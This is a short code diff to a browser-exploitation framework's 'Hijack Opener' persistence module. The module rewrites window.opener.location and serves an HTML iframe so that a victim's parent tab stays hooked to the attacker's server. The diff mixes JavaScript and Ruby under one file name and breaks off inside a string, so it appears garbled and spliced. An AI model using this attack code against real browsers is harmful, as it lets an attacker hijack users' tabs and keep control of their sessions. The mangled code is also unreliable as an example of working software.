diff --git a/modules/persistence/hijack_opener/command.js b/modules/persistence/hijack_opener/command.js index 2c7d8c49d..0b6c4c692 100644 --- a/modules/persistence/hijack_opener/command.js +++ b/modules/persistence/hijack_opener/command.js @@ -6,10 +6,9 @@ beef.execute(function() { var referrer = document.referrer; - var hook = beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+beef.net.hook; try { beef.debug("[Hijack Opener] Trying to hijack: " + referrer); - window.opener.location = 'data:text/html,'+referrer+'" + src << '' + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw( + '200', + {'Content-Type' => 'text/html'}, + src, + '/iframe', + -1) + end + def post_execute save({'result' => @datastore['result']}) end